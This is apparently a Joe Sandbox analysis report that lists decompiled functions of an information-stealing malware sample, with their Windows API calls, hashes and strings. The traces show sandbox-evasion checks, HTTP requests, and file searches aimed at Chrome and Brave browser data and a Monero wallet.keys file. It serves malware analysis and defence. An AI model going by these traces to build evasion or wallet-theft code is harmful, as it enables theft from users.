Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 7360e7f6d6e2321f725d2c5c11ccd3ee6e7f74f234eec841ea9209dca22a5134
Instruction ID: add0297a09e081f325b06b2c9059c3b8c94ccad3646c79a2b32f7cc5bfc57e53
Opcode Fuzzy Hash: 7360e7f6d6e2321f725d2c5c11ccd3ee6e7f74f234eec841ea9209dca22a5134
Instruction Fuzzy Hash: 9C312D71941208ABDB18F7F0DC56BEE7738AF44750F504528F212A21C2DF796985E7A2

Function 00F16AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008A9830,?,00F2110C,?,00000000,?,00F21110,?,00000000,00F20AEF), ref: 00F16ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00F16AE8
CloseHandle.KERNEL32(00000000), ref: 00F16AF9
Sleep.KERNEL32(00001770), ref: 00F16B04
CloseHandle.KERNEL32(?,00000000,?,008A9830,?,00F2110C,?,00000000,?,00F21110,?,00000000,00F20AEF), ref: 00F16B1A
ExitProcess.KERNEL32 ref: 00F16B22

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 0f8f7e4e3cbf337888b888c9021946b38d761d5566bd7ce9b8b82241ec07bae2
Instruction ID: eae0dd6626b61cd259ef6587a46d4cac9b579b612299f9753a622ed9dfe98539
Opcode Fuzzy Hash: 0f8f7e4e3cbf337888b888c9021946b38d761d5566bd7ce9b8b82241ec07bae2
Instruction Fuzzy Hash: 87F03A34A84209EBE724EBA0AC16BFD7B34EF44B42F104524B523E2181CBB955C0E655

Function 00F047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00F04839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00F04849

Strings

<, xrefs: 00F047C9

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 05f540f54887a3b45cc34f7c039a1e4586823449d6d03d678a684d0bc4845f5a
Instruction ID: 08624c374fb445a729d5b82e9f78c9f17dfb3adab4a21a313e02917e2a2d14eb
Opcode Fuzzy Hash: 05f540f54887a3b45cc34f7c039a1e4586823449d6d03d678a684d0bc4845f5a
Instruction Fuzzy Hash: A4215EB1D00208ABDF14DFA4EC45ADD7B78FF04320F108225F925A72C0DB746A0ADB91

Function 00F151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F1A7E6

Part of subcall function 00F06280: InternetOpenA.WININET(00F20DFE,00000001,00000000,00000000,00000000), ref: 00F062E1
Part of subcall function 00F06280: StrCmpCA.SHLWAPI(?,008AF278), ref: 00F06303
Part of subcall function 00F06280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F06335
Part of subcall function 00F06280: HttpOpenRequestA.WININET(00000000,GET,?,008AE690,00000000,00000000,00400100,00000000), ref: 00F06385
Part of subcall function 00F06280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F063BF
Part of subcall function 00F06280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00F15228

Strings

ERROR, xrefs: 00F1521A
ERROR, xrefs: 00F15273

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 704c1eed7d13c92abb4adfc34005fd518e032b8e0c1ba0ceb12e294733455a4c
Instruction ID: a762908a9a0adfb7c53f446844bffd56b30600bc45afb4874c6dc0ba642af2ed
Opcode Fuzzy Hash: 704c1eed7d13c92abb4adfc34005fd518e032b8e0c1ba0ceb12e294733455a4c
Instruction Fuzzy Hash: B1113031901048EBCB14FF60DD52AED7338AF50310F404158F81A4B1D2EF39AB96E692

Function 00F01220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00F0123E
ExitProcess.KERNEL32 ref: 00F01294

Strings

@, xrefs: 00F01233

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: b3e07cf0ac6e9b9d3e4d5d36083b8accf5b7aa57e3e9f90982b122e614f4a9d6
Instruction ID: d2361d2b0f36ae46bfb56a5dbf8d79bd097a7ad51383d100f67b3b964cec0921
Opcode Fuzzy Hash: b3e07cf0ac6e9b9d3e4d5d36083b8accf5b7aa57e3e9f90982b122e614f4a9d6
Instruction Fuzzy Hash: 9501FBB0D84308BBEB20DBE4DC49B9EBB78BF14B05F208058E705B72C1D6795585A799

Function 00F01110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00F0112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00F01132
ExitProcess.KERNEL32 ref: 00F01143

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 018a92a2d4916199c612867363ea9a8938a001d71111c99616ce2031866ef40f
Instruction ID: da24382900eec6adb7f8d78b1fb4436dfe22ff50c1512d21bded57fe74ea21b9
Opcode Fuzzy Hash: 018a92a2d4916199c612867363ea9a8938a001d71111c99616ce2031866ef40f
Instruction Fuzzy Hash: 90E0E674985308FBF724ABA0AC1AB09767CEF04F16F504154F70A771C4D6B52641A799

Function 00F010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00F010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00F010F7

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 722e1dbea44e363dad2f52642c20e3a1b3e98762bbbd08a7ffaecc3c72b1ce05
Instruction ID: 88bc1e0c12ee12ec50c669b909d443bf00a50cdcde140aa18e2658f45b7cdf3c
Opcode Fuzzy Hash: 722e1dbea44e363dad2f52642c20e3a1b3e98762bbbd08a7ffaecc3c72b1ce05
Instruction Fuzzy Hash: A1F0E971A81208BBE71497A4AC59FAAB7D8E705B25F300458F545E3280D5715E40EB50

Function 00F01190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F17910
Part of subcall function 00F178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F17917
Part of subcall function 00F178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F1792F

Part of subcall function 00F17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F011B7), ref: 00F17880
Part of subcall function 00F17850: RtlAllocateHeap.NTDLL(00000000), ref: 00F17887
Part of subcall function 00F17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F1789F

ExitProcess.KERNEL32 ref: 00F011C6

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 6cd76f307c8feb7a460db587f005320d3ac3366c3814cd8b5abc6c10fb26706c
Instruction ID: 3e1b368f43cdfe3de053a21520cfbdadbc7d0205d0e99aa0bc06c1bb5b6614e3
Opcode Fuzzy Hash: 6cd76f307c8feb7a460db587f005320d3ac3366c3814cd8b5abc6c10fb26706c
Instruction Fuzzy Hash: A8E012B9D9430163DA2873B0BD0AB6A329C6F14796F140434FA0ED3142FE2DF881B6A5

Non-executed Functions

Function 00F138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F138CC
FindFirstFileA.KERNEL32(?,?), ref: 00F138E3
lstrcat.KERNEL32(?,?), ref: 00F13935
StrCmpCA.SHLWAPI(?,00F20F70), ref: 00F13947
StrCmpCA.SHLWAPI(?,00F20F74), ref: 00F1395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00F13C67
FindClose.KERNEL32(000000FF), ref: 00F13C7C

Strings

%s%s, xrefs: 00F13AAD
%s\%s, xrefs: 00F13A6F
%s\%s\%s, xrefs: 00F13A4A
%s\*, xrefs: 00F138C0
%s\%s, xrefs: 00F1397A

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 759289e7f8c255034cd2ad17f28347396dcb7f9cc41a2bbbb97019abeeb56b14
Instruction ID: 75ee75adae084e0edeec270080c132f04ec0fa3118f395e0e84b8bcb873ded97
Opcode Fuzzy Hash: 759289e7f8c255034cd2ad17f28347396dcb7f9cc41a2bbbb97019abeeb56b14
Instruction Fuzzy Hash: 72A190B6A402189BDB34DBA4DC84FEA7378FF44700F044598B61E96185EB749BC4DFA2

Function 00F0BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

FindFirstFileA.KERNEL32(00000000,?,00F20B32,00F20B2B,00000000,?,?,?,00F213F4,00F20B2A), ref: 00F0BEF5
StrCmpCA.SHLWAPI(?,00F213F8), ref: 00F0BF4D
StrCmpCA.SHLWAPI(?,00F213FC), ref: 00F0BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0C7BF
FindClose.KERNEL32(000000FF), ref: 00F0C7D1

Strings

Google Chrome, xrefs: 00F0C634
\Brave\Preferences, xrefs: 00F0C1DB
Brave, xrefs: 00F0C102
Preferences, xrefs: 00F0C11E

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 73c34c400330681621c73d713f676f10c555cdd01493660870c96eee6cc0dd5f
Instruction ID: 80456f60d5d20b5472f2a7cd69fbc23543b2caa4c5bc3a447bcf6a1fa33818d3
Opcode Fuzzy Hash: 73c34c400330681621c73d713f676f10c555cdd01493660870c96eee6cc0dd5f
Instruction Fuzzy Hash: 234253729111089BDB14FB70DD96EED737DAF94310F404568B90A970C1EF389B8AEB92

Function 00F14910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F1492C
FindFirstFileA.KERNEL32(?,?), ref: 00F14943
StrCmpCA.SHLWAPI(?,00F20FDC), ref: 00F14971
StrCmpCA.SHLWAPI(?,00F20FE0), ref: 00F14987
FindNextFileA.KERNEL32(000000FF,?), ref: 00F14B7D
FindClose.KERNEL32(000000FF), ref: 00F14B92

Strings

%s\*, xrefs: 00F14920
%s\%s, xrefs: 00F149FB
%s\%s, xrefs: 00F149A4

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
